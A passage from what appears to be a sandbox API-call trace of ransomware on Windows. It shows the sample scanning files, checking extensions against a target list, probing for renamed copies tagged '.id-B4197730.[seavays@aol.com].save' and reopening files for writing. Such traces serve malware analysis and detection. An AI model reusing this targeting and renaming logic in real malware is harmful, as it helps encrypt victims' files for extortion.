returned 83 [0159.654] lstrlenW (lpString=".jpg") returned 4 [0159.654] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.654] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.654] lstrlenW (lpString="auxpad.xml") returned 10 [0159.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.656] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=212) returned 1 [0159.656] CloseHandle (hObject=0x390) returned 1 [0159.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0159.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.656] lstrlenW (lpString=".doc") returned 4 [0159.656] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.656] lstrlenW (lpString=".docx") returned 5 [0159.656] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0159.656] lstrlenW (lpString=".pdf") returned 4 [0159.656] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.656] lstrlenW (lpString=".xls") returned 4 [0159.657] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.657] lstrlenW (lpString=".xlsx") returned 5 [0159.657] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0159.657] lstrlenW (lpString=".ppt") returned 4 [0159.657] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.657] lstrlenW (lpString=".zip") returned 4 [0159.657] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.657] lstrlenW (lpString=".rar") returned 4 [0159.657] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.657] lstrlenW (lpString=".bz2") returned 4 [0159.657] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.657] lstrlenW (lpString=".7z") returned 3 [0159.657] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.657] lstrlenW (lpString=".dbf") returned 4 [0159.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.657] lstrlenW (lpString=".1cd") returned 4 [0159.657] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.657] lstrlenW (lpString=".jpg") returned 4 [0159.657] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.657] lstrlenW (lpString=".doc") returned 4 [0159.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString=".docx") returned 5 [0159.658] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0159.658] lstrlenW (lpString=".pdf") returned 4 [0159.658] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString=".xls") returned 4 [0159.658] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString=".xlsx") returned 5 [0159.658] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0159.658] lstrlenW (lpString=".ppt") returned 4 [0159.658] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.658] lstrlenW (lpString=".zip") returned 4 [0159.658] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.658] lstrlenW (lpString=".rar") returned 4 [0159.658] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString=".bz2") returned 4 [0159.658] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString=".7z") returned 3 [0159.658] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.658] lstrlenW (lpString=".dbf") returned 4 [0159.658] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.658] lstrlenW (lpString=".1cd") returned 4 [0159.658] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0159.659] lstrlenW (lpString=".jpg") returned 4 [0159.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.659] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.659] lstrlenW (lpString="insertbase.xml") returned 14 [0159.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.660] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=903) returned 1 [0159.660] CloseHandle (hObject=0x390) returned 1 [0159.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0159.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.661] lstrlenW (lpString=".doc") returned 4 [0159.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.661] lstrlenW (lpString=".docx") returned 5 [0159.661] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0159.661] lstrlenW (lpString=".pdf") returned 4 [0159.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.661] lstrlenW (lpString=".xls") returned 4 [0159.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.661] lstrlenW (lpString=".xlsx") returned 5 [0159.661] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0159.661] lstrlenW (lpString=".ppt") returned 4 [0159.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.661] lstrlenW (lpString=".zip") returned 4 [0159.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.661] lstrlenW (lpString=".rar") returned 4 [0159.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.661] lstrlenW (lpString=".bz2") returned 4 [0159.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.661] lstrlenW (lpString=".7z") returned 3 [0159.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.661] lstrlenW (lpString=".dbf") returned 4 [0159.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.662] lstrlenW (lpString=".1cd") returned 4 [0159.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.662] lstrlenW (lpString=".jpg") returned 4 [0159.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.662] lstrlenW (lpString=".doc") returned 4 [0159.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.662] lstrlenW (lpString=".docx") returned 5 [0159.662] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0159.662] lstrlenW (lpString=".pdf") returned 4 [0159.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.662] lstrlenW (lpString=".xls") returned 4 [0159.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.662] lstrlenW (lpString=".xlsx") returned 5 [0159.662] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0159.662] lstrlenW (lpString=".ppt") returned 4 [0159.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.662] lstrlenW (lpString=".zip") returned 4 [0159.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.662] lstrlenW (lpString=".rar") returned 4 [0159.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.663] lstrlenW (lpString=".bz2") returned 4 [0159.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.663] lstrlenW (lpString=".7z") returned 3 [0159.663] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.663] lstrlenW (lpString=".dbf") returned 4 [0159.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.663] lstrlenW (lpString=".1cd") returned 4 [0159.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0159.663] lstrlenW (lpString=".jpg") returned 4 [0159.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.663] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.663] lstrlenW (lpString="insert.xml") returned 10 [0159.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.664] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=215) returned 1 [0159.664] CloseHandle (hObject=0x390) returned 1 [0159.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0159.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.665] lstrlenW (lpString=".doc") returned 4 [0159.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.665] lstrlenW (lpString=".docx") returned 5 [0159.665] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0159.665] lstrlenW (lpString=".pdf") returned 4 [0159.665] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.665] lstrlenW (lpString=".xls") returned 4 [0159.665] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.665] lstrlenW (lpString=".xlsx") returned 5 [0159.665] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0159.665] lstrlenW (lpString=".ppt") returned 4 [0159.665] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.665] lstrlenW (lpString=".zip") returned 4 [0159.666] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.666] lstrlenW (lpString=".rar") returned 4 [0159.666] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString=".bz2") returned 4 [0159.666] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString=".7z") returned 3 [0159.666] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.666] lstrlenW (lpString=".dbf") returned 4 [0159.666] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.666] lstrlenW (lpString=".1cd") returned 4 [0159.666] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.666] lstrlenW (lpString=".jpg") returned 4 [0159.666] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.666] lstrlenW (lpString=".doc") returned 4 [0159.666] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString=".docx") returned 5 [0159.666] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0159.666] lstrlenW (lpString=".pdf") returned 4 [0159.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString=".xls") returned 4 [0159.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.666] lstrlenW (lpString=".xlsx") returned 5 [0159.667] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0159.667] lstrlenW (lpString=".ppt") returned 4 [0159.667] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.667] lstrlenW (lpString=".zip") returned 4 [0159.667] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.667] lstrlenW (lpString=".rar") returned 4 [0159.667] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.667] lstrlenW (lpString=".bz2") returned 4 [0159.667] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.667] lstrlenW (lpString=".7z") returned 3 [0159.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.667] lstrlenW (lpString=".dbf") returned 4 [0159.667] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.667] lstrlenW (lpString=".1cd") returned 4 [0159.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0159.667] lstrlenW (lpString=".jpg") returned 4 [0159.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.667] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.668] lstrlenW (lpString="ea.xml") returned 6 [0159.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.669] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=384) returned 1 [0159.669] CloseHandle (hObject=0x390) returned 1 [0159.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0159.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.669] lstrlenW (lpString=".doc") returned 4 [0159.669] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.669] lstrlenW (lpString=".docx") returned 5 [0159.669] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.669] lstrlenW (lpString=".pdf") returned 4 [0159.669] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString=".xls") returned 4 [0159.670] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString=".xlsx") returned 5 [0159.670] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.670] lstrlenW (lpString=".ppt") returned 4 [0159.670] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.670] lstrlenW (lpString=".zip") returned 4 [0159.670] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.670] lstrlenW (lpString=".rar") returned 4 [0159.670] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString=".bz2") returned 4 [0159.670] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString=".7z") returned 3 [0159.670] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.670] lstrlenW (lpString=".dbf") returned 4 [0159.670] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.670] lstrlenW (lpString=".1cd") returned 4 [0159.670] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.670] lstrlenW (lpString=".jpg") returned 4 [0159.670] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.671] lstrlenW (lpString=".doc") returned 4 [0159.671] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.671] lstrlenW (lpString=".docx") returned 5 [0159.671] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.671] lstrlenW (lpString=".pdf") returned 4 [0159.671] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.671] lstrlenW (lpString=".xls") returned 4 [0159.671] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.671] lstrlenW (lpString=".xlsx") returned 5 [0159.671] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.671] lstrlenW (lpString=".ppt") returned 4 [0159.671] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.671] lstrlenW (lpString=".zip") returned 4 [0159.671] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.671] lstrlenW (lpString=".rar") returned 4 [0159.671] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.671] lstrlenW (lpString=".bz2") returned 4 [0159.671] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.671] lstrlenW (lpString=".7z") returned 3 [0159.672] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.672] lstrlenW (lpString=".dbf") returned 4 [0159.672] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.672] lstrlenW (lpString=".1cd") returned 4 [0159.672] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0159.672] lstrlenW (lpString=".jpg") returned 4 [0159.672] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.672] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.672] lstrlenW (lpString="keypadbase.xml") returned 14 [0159.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.673] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=903) returned 1 [0159.673] CloseHandle (hObject=0x390) returned 1 [0159.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0159.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0159.673] lstrlenW (lpString=".doc") returned 4 [0159.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.673] lstrlenW (lpString=".docx") returned 5 [0159.673] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0159.673] lstrlenW (lpString=".pdf") returned 4 [0159.673] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.673] lstrlenW (lpString=".xls") returned 4 [0159.673] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.673] lstrlenW (lpString=".xlsx") returned 5 [0159.673] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0159.674] lstrlenW 